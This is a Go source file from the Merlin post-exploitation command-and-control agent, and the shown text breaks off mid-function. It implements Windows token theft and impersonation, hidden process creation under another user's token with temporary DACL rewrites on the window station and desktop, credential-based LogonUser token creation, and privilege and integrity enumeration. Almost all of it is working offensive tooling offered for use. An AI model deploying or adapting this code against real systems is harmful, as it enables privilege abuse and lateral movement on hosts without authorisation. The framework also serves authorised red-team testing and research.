    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage tokens\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/advapi32\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/user32\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/pipes\"\n)\n\n// LOGON32_LOGON_ constants from winbase.h\n// The type of logon operation to perform\nconst (\n\tLOGON32_LOGON_INTERACTIVE       uint32 = 2\n\tLOGON32_LOGON_NETWORK           uint32 = 3\n\tLOGON32_LOGON_BATCH             uint32 = 4\n\tLOGON32_LOGON_SERVICE           uint32 = 5\n\tLOGON32_LOGON_UNLOCK            uint32 = 7\n\tLOGON32_LOGON_NETWORK_CLEARTEXT uint32 = 8\n\tLOGON32_LOGON_NEW_CREDENTIALS   uint32 = 9\n)\n\n// LOGON32_PROVIDER_ constants\n// The logon provider\nconst (\n\tLOGON32_PROVIDER_DEFAULT uint32 = iota\n\tLOGON32_PROVIDER_WINNT35\n\tLOGON32_PROVIDER_WINNT40\n\tLOGON32_PROVIDER_WINNT50\n\tLOGON32_PROVIDER_VIRTUAL\n)\n\n// LOGON_ The logon option\nconst (\n\tLOGON_WITH_PROFILE        uint32 = 0x1\n\tLOGON_NETCREDENTIALS_ONLY uint32 = 0x2\n)\n\nvar Token windows.Token\n\n// ApplyToken applies any stolen or created Windows access token's to the current thread\nfunc ApplyToken() error {\n\tcli.Message(cli.DEBUG, \"entering tokens.ApplyToken()\")\n\n\t// Verify a token has been created/stolen and assigned to the global variable\n\tif Token != 0 {\n\t\t// Apply the token to this process thread\n\t\treturn advapi32.ImpersonateLoggedOnUser(Token)\n\t}\n\treturn nil\n}\n\n// CreateProcessWithToken creates a new process as the user associated with the passed in token\n// STDOUT/STDERR is redirected to an anonymous pipe and collected after execution to be returned\n// This requires administrative privileges or at least the SE_IMPERSONATE_NAME privilege\nfunc CreateProcessWithToken(hToken windows.Token, application string, args []string) (stdout string, stderr string) {\n\tcli.Message(cli.DEBUG, \"entering tokens.CreateProcessWithToken()\")\n\tif application == \"\" {\n\t\tstderr = \"a program must be provided for the CreateProcessWithToken call\"\n\t\treturn\n\t}\n\n\tpriv := \"SeImpersonatePrivilege\"\n\tname, err := syscall.UTF16PtrFromString(priv)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error converting the privilege \\\"%s\\\" to LPCWSTR: %s\", priv, err)\n\t}\n\n\t// Verify that the calling process has the SE_IMPERSONATE_NAME privilege\n\tvar systemName uint16\n\tvar luid windows.LUID\n\terr = windows.LookupPrivilegeValue(&systemName, name, &luid)\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\n\thasPriv, err := hasPrivilege(windows.GetCurrentProcessToken(), luid)\n\tif err != nil {\n\t\tstderr = \"the provided access token does not have the SeImpersonatePrivilege and can't be used to create a process\"\n\t\treturn\n\t}\n\n\t// TODO try to enable the priv before returning with an error\n\tif !hasPriv {\n\t\tstderr = \"the provided access token does not have the SeImpersonatePrivilege and therefore can't be used to call CreateProcessWithToken\"\n\t\treturn\n\t}\n\n\t// Get Process Token TOKEN_STATISTICS structure\n\tstatProc, err := GetTokenStats(hToken)\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\tif statProc.TokenType != windows.TokenPrimary {\n\t\tstderr = \"A PRIMARY Windows access token was not provided to tokens.CreateProcessWithToken()\"\n\t\treturn\n\t}\n\t// TODO verify the provided token has the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights\n\n\t// Search PATH environment variable to retrieve the application's absolute path\n\tapplication, err = exec.LookPath(application)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error resolving the absolute path for %s: %s\", application, err)\n\t\treturn\n\t}\n\n\t// Convert the program to a LPCWSTR\n\tlpApplicationName, err := syscall.UTF16PtrFromString(application)\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error converting the application name \\\"%s\\\" to LPCWSTR: %s\", application, err)\n\t\treturn\n\t}\n\n\t// Convert the program to a LPCWSTR\n\tlpCommandLine, err := syscall.UTF16PtrFromString(strings.Join(args, \" \"))\n\tif err != nil {\n\t\tstderr = fmt.Sprintf(\"there was an error converting the application arguments \\\"%s\\\" to LPCWSTR: %s\", args, err)\n\t\treturn\n\t}\n\n\t// Setup pipes to retrieve output\n\tstdInRead, _, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite, err := pipes.CreateAnonymousPipes()\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\n\tsessionToken, err := GetTokenSessionId(hToken)\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\tvar sessionCurrent uint32\n\terr = windows.ProcessIdToSessionId(windows.GetCurrentProcessId(), &sessionCurrent)\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\n\t// If the calling process (the Merlin agent) and the token are in different window sessions we must allow the token\n\t// user to access the calling session if we are not going to spawn the process in the token's session\n\t// Never figured out if setting the lpDesktop for the STARTUPINFO structure would work\n\tif sessionCurrent != sessionToken {\n\t\t// Retrieve the passed in token's user information structure to leverage the SID later\n\t\tuser, err := hToken.GetTokenUser()\n\t\tif err != nil {\n\t\t\tstderr = fmt.Sprintf(\"there was an error calling GetTokenUser: %s\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Create the trustee to add to an ACE\n\t\ttrustee := windows.TRUSTEE{\n\t\t\tMultipleTrustee:          nil,\n\t\t\tMultipleTrusteeOperation: windows.NO_MULTIPLE_TRUSTEE,\n\t\t\tTrusteeForm:              windows.TRUSTEE_IS_SID,\n\t\t\tTrusteeType:              windows.TRUSTEE_IS_USER,\n\t\t\tTrusteeValue:             windows.TrusteeValueFromSID(user.User.Sid),\n\t\t}\n\n\t\t// Create the ACE\n\t\t// WINSTA_ALL_ACCESS := 0x37F   \t\t// WINSTA_ALL_ACCESS (0x37F)\tAll possible access rights for the window station.\n\t\t// WINSTA_READATTRIBUTES := 0x0002 // (0x0002L) Required to read the attributes of a window station object. This attribute includes color settings and other global window station properties.\n\t\t// WINSTA_WRITEATTRIBUTES := 0x0010 // (0x0010L) Required to modify the attributes of a window station object. The attributes include color settings and other global window station properties.\n\t\t// WINSTA_ENUMDESKTOPS := 0x0001 // (0x0001L) Required to enumerate existing desktop objects.\n\t\t// WINSTA_ENUMERATE := 0x0100 // (0x0100L)\tRequired for the window station to be enumerated.\n\t\t// WINSTA_ACCESSCLIPBOARD := 0x0004   // (0x0004L) Required to use the clipboard.\n\t\tWINSTA_ACCESSGLOBALATOMS := 0x0020 // (0x0020L)\tRequired to manipulate global atoms. REQUIRED\n\t\t// WINSTA_CREATEDESKTOP := 0x0008     // (0x0008L)\tRequired to create new desktop objects on the window station.\n\t\tWINSTA_EXITWINDOWS := 0x0040 // (0x0040L)\tRequired to successfully call the ExitWindows or ExitWindowsEx function. Window stations can be shared by users and this access type can prevent other users of a window station from logging off the window station owner. REQUIRED\n\t\t// WINSTA_READSCREEN := 0x0200  // (0x0200L)\tRequired to access screen contents.\n\t\tace := windows.EXPLICIT_ACCESS{\n\t\t\tAccessPermissions: windows.ACCESS_MASK(WINSTA_ACCESSGLOBALATOMS | WINSTA_EXITWINDOWS | windows.READ_CONTROL), // WINSTA_CREATEDESKTOP | WINSTA_READSCREEN | WINSTA_ACCESSCLIPBOARD | WINSTA_WRITEATTRIBUTES | WINSTA_ENUMDESKTOPS | WINSTA_ENUMERATE | WINSTA_READATTRIBUTES |\n\t\t\tAccessMode:        windows.SET_ACCESS,\n\t\t\tInheritance:       windows.NO_INHERITANCE,\n\t\t\tTrustee:           trustee,\n\t\t}\n\n\t\tsi := windows.SECURITY_INFORMATION(windows.DACL_SECURITY_INFORMATION | windows.OWNER_SECURITY_INFORMATION | windows.ATTRIBUTE_SECURITY_INFORMATION | windows.GROUP_SECURITY_INFORMATION | windows.PROTECTED_DACL_SECURITY_INFORMATION | windows.UNPROTECTED_DACL_SECURITY_INFORMATION)\n\n\t\t// Get a handle to the window station\n\t\thWinsta, err := user32.GetProcessWindowStation()\n\t\tif err != nil {\n\t\t\tstderr = err.Error()\n\t\t\treturn\n\t\t}\n\n\t\t// Retrieve security information (namely the DACL) for the window station\n\t\tsdStation, err := windows.GetSecurityInfo(windows.Handle(hWinsta), windows.SE_KERNEL_OBJECT, si)\n\t\tif err != nil {\n\t\t\tstderr = fmt.Sprintf(\"there was an error calling windows.GetSecurityInfo with the window station handle: %s\", err)\n\t\t\treturn\n\t\t}\n\t\t//stdout += fmt.Sprintf(\"Window Station SDDL: %s\\n\", sdStation)\n\n\t\t// Add the new ACE for the token user to the existing security descriptor for the window station\n\t\tsdStationNew, err := windows.BuildSecurityDescriptor(nil, nil, []windows.EXPLICIT_ACCESS{ace}, nil, sdStation)\n\t\tif err != nil {\n\t\t\tstderr = fmt.Sprintf(\"there was an error calling windows.BuildSecurityDescriptor for the station: %s\\n\", err)\n\t\t\treturn\n\t\t}\n\t\t//stdout += fmt.Sprintf(\"New window station security descriptor: %+v\\n\", sdStationNew)\n\n\t\t// Update the window station security descriptor with the new DACL that contains access rights for the token user\n\t\terr = windows.SetKernelObjectSecurity(windows.Handle(hWinsta), windows.DACL_SECURITY_INFORMATION, sdStationNew)\n\t\tif err != nil {\n\t\t\tstderr = fmt.Sprintf(\"there was an error calling windows.SetKernelObjectSecurity: %s\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Defer restoring the original security descriptor for the window station\n\t\tdefer func() {\n\t\t\terr = windows.SetKernelObjectSecurity(windows.Handle(hWinsta), windows.DACL_SECURITY_INFORMATION, sdStation)\n\t\t\tif err != nil {\n\t\t\t\tstderr += fmt.Sprintf(\"\\nthere was an error calling windows.SetKernelObjectSecurity to restore the \"+\n\t\t\t\t\t\"original security descriptor for the window station: %s\\n\", err)\n\t\t\t}\n\t\t}()\n\n\t\t// Get a handle to the desktop securable object\n\t\thDesktop, err := user32.GetThreadDesktop(windows.GetCurrentThreadId())\n\t\tif err != nil {\n\t\t\tstderr = err.Error()\n\t\t\treturn\n\t\t}\n\n\t\t// Get the security information (namely the DACL) for the desktop object\n\t\tsdDesktop, err := windows.GetSecurityInfo(windows.Handle(hDesktop), windows.SE_KERNEL_OBJECT, si)\n\t\tif err != nil {\n\t\t\tstderr = fmt.Sprintf(\"there was an error calling windows.GetSecurityInfo with the desktop object handle: %s\", err)\n\t\t\treturn\n\t\t}\n\t\t//stdout += fmt.Sprintf(\"Window Desktop SDDL: %s\\n\", sdDesktop)\n\n\t\t// Update the ACE with the required permissions for the desktop object windows.GENERIC_ALL\n\t\tDESKTOP_WRITEOBJECTS := 0x0080 // (0x0080L)\tRequired to write objects on the desktop.\n\t\tDESKTOP_READOBJECTS := 0x0001  // (0x0001L)\tRequired to read objects on the desktop.\n\t\t// DESKTOP_CREATEMENU := 0x0004   // (0x0004L)\tRequired to create a menu on the desktop.\n\t\tDESKTOP_CREATEWINDOW := 0x0002 // (0x0002L)\tRequired to create a window on the desktop. REQUIRED\n\t\t// DESKTOP_ENUMERATE := 0x0040    // (0x0040L)\tRequired for the desktop to be enumerated.\n\t\t//ace.AccessPermissions = windows.ACCESS_MASK(DESKTOP_CREATEWINDOW) // DESKTOP_ENUMERATE | DESKTOP_CREATEMENU | DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS | WORKS WHEN TOKEN BELONGS TO ADMIN OR PRIMARY USER OF DESKTOP UNSURE WHICH\n\t\t//ace.AccessPermissions = windows.ACCESS_MASK(windows.GENERIC_ALL) // WORKS\n\t\tace.AccessPermissions = windows.ACCESS_MASK(DESKTOP_CREATEWINDOW | DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS) // DESKTOP_ENUMERATE | DESKTOP_CREATEMENU\n\n\t\t// Add the new ACE for the token user to the existing security descriptor for the desktop object\n\t\tsdDesktopNew, err := windows.BuildSecurityDescriptor(nil, nil, []windows.EXPLICIT_ACCESS{ace}, nil, sdDesktop)\n\t\tif err != nil {\n\t\t\tstderr = fmt.Sprintf(\"there was an error calling windows.BuildSecurityDescriptor for the new desktop security descriptor: %s\\n\", err)\n\t\t\treturn\n\t\t}\n\t\t//stdout += fmt.Sprintf(\"New Security Descriptor (desktop): %+v\\n\", sdDesktopNew)\n\n\t\t// Update the desktop security descriptor with the new DACL that contains access rights for the token user\n\t\terr = windows.SetKernelObjectSecurity(windows.Handle(hDesktop), windows.DACL_SECURITY_INFORMATION, sdDesktopNew)\n\t\tif err != nil {\n\t\t\tstderr = fmt.Sprintf(\"there was an error calling windows.SetKernelObjectSecurity to add an updated DACL to the desktop object: %s\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Defer restoring the original security descriptor for the desktop\n\t\tdefer func() {\n\t\t\terr = windows.SetKernelObjectSecurity(windows.Handle(hDesktop), windows.DACL_SECURITY_INFORMATION, sdDesktop)\n\t\t\tif err != nil {\n\t\t\t\tstderr += fmt.Sprintf(\"there was an error calling windows.SetKernelObjectSecurity to restore the original desktop security descriptor: %s\\n\", err)\n\t\t\t}\n\t\t}()\n\t}\n\n\tvar lpCurrentDirectory uint16 = 0\n\tlpStartupInfo := &windows.StartupInfo{\n\t\tStdInput:   stdInRead,\n\t\tStdOutput:  stdOutWrite,\n\t\tStdErr:     stdErrWrite,\n\t\tFlags:      windows.STARTF_USESTDHANDLES | windows.STARTF_USESHOWWINDOW,\n\t\tShowWindow: windows.SW_HIDE,\n\t}\n\tlpProcessInformation := &windows.ProcessInformation{}\n\tLOGON_NETCREDENTIALS_ONLY := uint32(0x2) // Could not find this constant in the windows package\n\tdwLogonFlags := LOGON_NETCREDENTIALS_ONLY\n\tdwCreationFlags := 0\n\tvar lpEnvironment uintptr\n\n\t// Parse optional arguments\n\tvar applicationName uintptr\n\tif *lpApplicationName == 0 {\n\t\tapplicationName = 0\n\t} else {\n\t\tapplicationName = uintptr(unsafe.Pointer(lpApplicationName))\n\t}\n\n\tvar commandLine uintptr\n\tif *lpCommandLine == 0 {\n\t\tcommandLine = 0\n\t} else {\n\t\tcommandLine = uintptr(unsafe.Pointer(lpCommandLine))\n\t}\n\n\tvar currentDirectory uintptr\n\tif lpCurrentDirectory == 0 {\n\t\tcurrentDirectory = 0\n\t} else {\n\t\tcurrentDirectory = uintptr(unsafe.Pointer(&lpCurrentDirectory))\n\t}\n\n\terr = advapi32.CreateProcessWithTokenW(\n\t\tuintptr(hToken),\n\t\tuintptr(dwLogonFlags),\n\t\tapplicationName,\n\t\tcommandLine,\n\t\tuintptr(dwCreationFlags),\n\t\tlpEnvironment,\n\t\t//uintptr(unsafe.Pointer(lpCurrentDirectory)),\n\t\tcurrentDirectory,\n\t\tuintptr(unsafe.Pointer(lpStartupInfo)),\n\t\tuintptr(unsafe.Pointer(lpProcessInformation)),\n\t)\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\n\tstdout += fmt.Sprintf(\"Created %s process with an ID of %d\\n\", application, lpProcessInformation.ProcessId)\n\n\t// Close the \"write\" pipe handles\n\terr = pipes.ClosePipes(0, 0, 0, stdOutWrite, 0, stdErrWrite)\n\tif err != nil {\n\t\tstderr = err.Error()\n\t\treturn\n\t}\n\n\t// Read from the pipes\n\tvar out string\n\t_, out, stderr, err = pipes.ReadPipes(0, stdOutRead, stdErrRead)\n\tif err != nil {\n\t\tstderr += err.Error()\n\t}\n\tstdout += out\n\n\t// Close the \"read\" pipe handles\n\terr = pipes.ClosePipes(stdInRead, 0, stdOutRead, 0, stdErrRead, 0)\n\tif err != nil {\n\t\tstderr += err.Error()\n\t\treturn\n\t}\n\n\treturn\n}\n\n// GetCurrentUserAndGroup retrieves the username and the user's primary group for the calling process primary token\nfunc GetCurrentUserAndGroup() (username, group string, err error) {\n\ttoken := windows.GetCurrentProcessToken()\n\tusername, err = GetTokenUsername(token)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tgrp, err := token.GetTokenPrimaryGroup()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tgroup = grp.PrimaryGroup.String()\n\treturn\n}\n\n// GetTokenIntegrityLevel enumerates the integrity level for the provided token and returns it as a string\nfunc GetTokenIntegrityLevel(token windows.Token) (string, error) {\n\tcli.Message(cli.DEBUG, \"entering tokens.GetTokenIntegrityLevel()\")\n\tvar info byte\n\tvar returnedLen uint32\n\t// Call the first time to get the output structure size\n\terr := windows.GetTokenInformation(token, windows.TokenIntegrityLevel, &info, 0, &returnedLen)\n\tif err != windows.ERROR_INSUFFICIENT_BUFFER {\n\t\treturn \"\", fmt.Errorf(\"there was an error calling windows.GetTokenInformation: %s\", err)\n\t}\n\n\t// Knowing the structure size, call again\n\tTokenIntegrityInformation := bytes.NewBuffer(make([]byte, returnedLen))\n\terr = windows.GetTokenInformation(token, windows.TokenIntegrityLevel, &TokenIntegrityInformation.Bytes()[0], returnedLen, &returnedLen)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"there was an error calling windows.GetTokenInformation: %s\", err)\n\t}\n\n\t// Read the buffer into a byte slice\n\tbLabel := make([]byte, returnedLen)\n\terr = binary.Read(TokenIntegrityInformation, binary.LittleEndian, &bLabel)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"there was an error reading bytes for the token integrity level: %s\", err)\n\t}\n\n\t// Integrity level is in the Attributes portion of the structure, a DWORD, the last four bytes\n\t// https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label\n\t// https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes\n\tintegrityLevel := binary.LittleEndian.Uint32(bLabel[returnedLen-4:])\n\treturn integrityLevelToString(integrityLevel), nil\n}\n\n// GetTokenPrivileges enumerates the token's privileges and attributes and returns them\nfunc GetTokenPrivileges(token windows.Token) (privs []windows.LUIDAndAttributes, err error) {\n\tcli.Message(cli.DEBUG, \"entering tokens.GetTokenPrivileges()\")\n\t// Get the privileges and attributes\n\t// Call to get structure size\n\tvar returnedLen uint32\n\terr = windows.GetTokenInformation(token, windows.TokenPrivileges, nil, 0, &returnedLen)\n\tif err != syscall.ERROR_INSUFFICIENT_BUFFER {\n\t\terr = fmt.Errorf(\"there was an error calling windows.GetTokenInformation: %s\", err)\n\t\treturn\n\t}\n\n\t// Call again to get the actual structure\n\tinfo := bytes.NewBuffer(make([]byte, returnedLen))\n\terr = windows.GetTokenInformation(token, windows.TokenPrivileges, &info.Bytes()[0], returnedLen, &returnedLen)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error calling windows.GetTokenInformation: %s\", err)\n\t\treturn\n\t}\n\n\tvar privilegeCount uint32\n\terr = binary.Read(info, binary.LittleEndian, &privilegeCount)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error reading TokenPrivileges bytes to privilegeCount: %s\", err)\n\t\treturn\n\t}\n\n\t// Read in the LUID and Attributes\n\tfor i := 1; i <= int(privilegeCount); i++ {\n\t\tvar priv windows.LUIDAndAttributes\n\t\terr = binary.Read(info, binary.LittleEndian, &priv)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error reading LUIDAttributes to bytes: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tprivs = append(privs, priv)\n\t}\n\treturn\n}\n\n// GetTokenStats uses the GetTokenInformation Windows API call to gather information about the provided access token\n// by retrieving the token's associated TOKEN_STATISTICS structure\nfunc GetTokenStats(token windows.Token) (tokenStats TOKEN_STATISTICS, err error) {\n\tcli.Message(cli.DEBUG, \"entering tokens.GetTokenStats()\")\n\t// Determine the size needed for the structure\n\t// BOOL GetTokenInformation(\n\t//  [in]            HANDLE                  TokenHandle,\n\t//  [in]            TOKEN_INFORMATION_CLASS TokenInformationClass,\n\t//  [out, optional] LPVOID                  TokenInformation,\n\t//  [in]            DWORD                   TokenInformationLength,\n\t//  [out]           PDWORD                  ReturnLength\n\t//);\n\tvar returnLength uint32\n\terr = windows.GetTokenInformation(token, windows.TokenStatistics, nil, 0, &returnLength)\n\tif err != nil && err != syscall.ERROR_INSUFFICIENT_BUFFER {\n\t\terr = fmt.Errorf(\"there was an error calling windows.GetTokenInformation: %s\", err)\n\t\treturn\n\t}\n\n\t// Make the call with the known size of the object\n\tinfo := bytes.NewBuffer(make([]byte, returnLength))\n\tvar returnLength2 uint32\n\terr = windows.GetTokenInformation(token, windows.TokenStatistics, &info.Bytes()[0], returnLength, &returnLength2)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error calling windows.GetTokenInformation: %s\", err)\n\t\treturn\n\t}\n\n\terr = binary.Read(info, binary.LittleEndian, &tokenStats)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error reading binary into the TOKEN_STATISTICS structure: %s\", err)\n\t\treturn\n\t}\n\treturn\n}\n\n// GetTokenUsername returns the domain and username associated with the provided token as a string\nfunc GetTokenUsername(token windows.Token) (username string, err error) {\n\tcli.Message(cli.DEBUG, \"entering tokens.GetTokenUsername()\")\n\tuser, err := token.GetTokenUser()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"there was an error calling GetTokenUser(): %s\", err)\n\t}\n\n\taccount, domain, _, err := user.User.Sid.LookupAccount(\"\")\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"there was an error calling SID.LookupAccount(): %s\", err)\n\t}\n\n\tusername = fmt.Sprintf(\"%s\\\\%s\", domain, account)\n\treturn\n}\n\n// GetTokenSessionId returns the session ID associated with the token\nfunc GetTokenSessionId(token windows.Token) (sessionId uint32, err error) {\n\tcli.Message(cli.DEBUG, \"entering tokens.GetTokenSessionId()\")\n\n\t// Determine the size needed for the structure\n\tvar returnLength uint32\n\terr = windows.GetTokenInformation(token, windows.TokenSessionId, nil, 0, &returnLength)\n\tif err != nil && err != syscall.ERROR_INSUFFICIENT_BUFFER {\n\t\terr = fmt.Errorf(\"there was an error calling windows.GetTokenInformation: %s\", err)\n\t\treturn\n\t}\n\n\t// Make the call with the known size of the object\n\tinfo := bytes.NewBuffer(make([]byte, returnLength))\n\tvar returnLength2 uint32\n\terr = windows.GetTokenInformation(token, windows.TokenSessionId, &info.Bytes()[0], returnLength, &returnLength2)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error calling windows.GetTokenInformation: %s\", err)\n\t\treturn\n\t}\n\n\terr = binary.Read(info, binary.LittleEndian, &sessionId)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error reading binary into the TokenSessionId DWORD: %s\", err)\n\t\treturn\n\t}\n\treturn\n}\n\n// hasPrivilege checks the provided access token to see if it contains the provided privilege\nfunc hasPrivilege(token windows.Token, privilege windows.LUID) (has bool, err error) {\n\tcli.Message(cli.DEBUG, \"entering tokens.hasPrivilege()\")\n\t// Get the privileges and attributes\n\t// Call to get structure size\n\tvar returnedLen uint32\n\terr = windows.GetTokenInformation(token, windows.TokenPrivileges, nil, 0, &returnedLen)\n\tif err != syscall.ERROR_INSUFFICIENT_BUFFER {\n\t\terr = fmt.Errorf(\"there was an error calling windows.GetTokenInformation: %s\", err)\n\t\treturn\n\t}\n\n\t// Call again to get the actual structure\n\tinfo := bytes.NewBuffer(make([]byte, returnedLen))\n\terr = windows.GetTokenInformation(token, windows.TokenPrivileges, &info.Bytes()[0], returnedLen, &returnedLen)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error calling windows.GetTokenInformation: %s\", err)\n\t\treturn\n\t}\n\n\tvar privilegeCount uint32\n\terr = binary.Read(info, binary.LittleEndian, &privilegeCount)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error reading TokenPrivileges bytes to privilegeCount: %s\", err)\n\t\treturn\n\t}\n\n\t// Read in the LUID and Attributes\n\tvar privs []windows.LUIDAndAttributes\n\tfor i := 1; i <= int(privilegeCount); i++ {\n\t\tvar priv windows.LUIDAndAttributes\n\t\terr = binary.Read(info, binary.LittleEndian, &priv)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error reading LUIDAttributes to bytes: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tprivs = append(privs, priv)\n\t}\n\n\t// Iterate over provided token's privileges and return true if it is present\n\tfor _, priv := range privs {\n\t\tif priv.Luid == privilege {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\treturn false, nil\n}\n\n// integrityLevelToString converts an access token integrity level to a string\n// https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids\nfunc integrityLevelToString(level uint32) string {\n\tswitch level {\n\tcase 0x00000000: // SECURITY_MANDATORY_UNTRUSTED_RID\n\t\treturn \"Untrusted\"\n\tcase 0x00001000: // SECURITY_MANDATORY_LOW_RID\n\t\treturn \"Low\"\n\tcase 0x00002000: // SECURITY_MANDATORY_MEDIUM_RID\n\t\treturn \"Medium\"\n\tcase 0x00002100: // SECURITY_MANDATORY_MEDIUM_PLUS_RID\n\t\treturn \"Medium High\"\n\tcase 0x00003000: // SECURITY_MANDATORY_HIGH_RID\n\t\treturn \"High\"\n\tcase 0x00004000: // SECURITY_MANDATORY_SYSTEM_RID\n\t\treturn \"System\"\n\tcase 0x00005000: // SECURITY_MANDATORY_PROTECTED_PROCESS_RID\n\t\treturn \"Protected Process\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"Uknown integrity level: %d\", level)\n\t}\n}\n\n// ImpersonationToString converts a SECURITY_IMPERSONATION_LEVEL uint32 value to it's associated string\nfunc ImpersonationToString(level uint32) string {\n\tswitch level {\n\tcase windows.SecurityAnonymous:\n\t\treturn \"Anonymous\"\n\tcase windows.SecurityIdentification:\n\t\treturn \"Identification\"\n\tcase windows.SecurityImpersonation:\n\t\treturn \"Impersonation\"\n\tcase windows.SecurityDelegation:\n\t\treturn \"Delegation\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"unknown SECURITY_IMPERSONATION_LEVEL: %d\", level)\n\t}\n}\n\n// LogonUser creates a new logon session for the user according to the provided logon type and returns a Windows access\n// token for that logon session. This is a wrapper function that includes additional validation checks\nfunc LogonUser(user string, password string, domain string, logonType uint32, logonProvider uint32) (hToken windows.Token, err error) {\n\tcli.Message(cli.DEBUG, \"entering tokens.LogonUser()\")\n\tif user == \"\" {\n\t\terr = fmt.Errorf(\"a username must be provided for the LogonUser call\")\n\t\treturn\n\t}\n\n\tif password == \"\" {\n\t\terr = fmt.Errorf(\"a password must be provided for the LogonUser call\")\n\t\treturn\n\t}\n\n\tif logonType <= 0 {\n\t\terr = fmt.Errorf(\"an invalid logonType was provided to the LogonUser call: %d\", logonType)\n\t\treturn\n\t}\n\n\t// Check for UPN format (e.g., rastley@acme.com)\n\tif strings.Contains(user, \"@\") {\n\t\ttemp := strings.Split(user, \"@\")\n\t\tuser = temp[0]\n\t\tdomain = temp[1]\n\t}\n\n\t// Check for domain format (e.g., ACME\\rastley)\n\tif strings.Contains(user, \"\\\\\") {\n\t\ttemp := strings.Split(user, \"\\\\\")\n\t\tuser = temp[1]\n\t\tdomain = temp[0]\n\t}\n\n\t// Check for an empty or missing domain; used with local user accounts\n\tif domain == \"\" {\n\t\tdomain = \".\"\n\t}\n\n\t// Convert username to LPCWSTR\n\tpUser, err := syscall.UTF16PtrFromString(user)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error converting the username \\\"%s\\\" to LPCWSTR: %s\", user, err)\n\t\treturn\n\t}\n\n\t// Convert the domain to LPCWSTR\n\tpDomain, err := syscall.UTF16PtrFromString(domain)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error converting the domain \\\"%s\\\" to LPCWSTR: %s\", domain, err)\n\t\treturn\n\t}\n\n\t// Convert the password to LPCWSTR\n\tpPassword, err := syscall.UTF16PtrFromString(password)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error converting the password \\\"%s\\\" to LPCWSTR: %s\", password, err)\n\t\treturn\n\t}\n\n\ttoken, err := advapi32.LogonUser(pUser, pDomain, pPassword, logonType, logonProvider)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Convert *unsafe.Pointer to windows.Token\n\t// windows.Token -> windows.Handle -> uintptr\n\thToken = (windows.Token)(*token)\n\treturn\n}\n\n// PrivilegeAttributeToString converts a privilege attribute integer to a string\nfunc PrivilegeAttributeToString(attribute uint32) string {\n\t// https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_privileges\n\tswitch attribute {\n\tcase 0x00000000:\n\t\treturn \"\"\n\tcase 0x00000001:\n\t\treturn \"SE_PRIVILEGE_ENABLED_BY_DEFAULT\"\n\tcase 0x00000002:\n\t\treturn \"SE_PRIVILEGE_ENABLED\"\n\tcase 0x00000001 | 0x00000002:\n\t\treturn \"SE_PRIVILEGE_ENABLED_BY_DEFAULT,SE_PRIVILEGE_ENABLED\"\n\tcase 0x00000004:\n\t\treturn 